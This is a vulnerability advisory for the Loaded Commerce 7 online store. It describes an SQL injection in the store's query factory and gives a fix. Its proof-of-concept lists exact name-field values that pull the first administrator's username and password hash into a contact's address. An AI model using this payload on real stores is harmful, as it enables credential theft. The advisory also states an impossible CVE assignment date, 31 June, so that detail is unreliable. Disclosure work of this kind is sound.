Title: LoadedCommerce7 Systemic Query Factory Vulnerability Credits: Discovered by Breaking Technology Research Labs 2014-06-30 Reference: CVE-2014-5140 - Assigned 31 June 2014 Timeline: Vendor notified - 29 July 2014 Vendor confirmed exploit 30 July 2014 Severity: Critical Attack Complexity: Minimal Classification: SQL injection, unsafe string replacement Description: Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection. Proof of Concept: Have a valid customer account and create a new contact in your address book using the following values. First name: :entry_lastname, Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)# The new contact will be added to your address book with the admin hash as the contact's street address Suggested Fix: Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value. A similar fix was issued for tomatocart, available at https://github.com/tomatocart/TomatoCart-v1/pull/238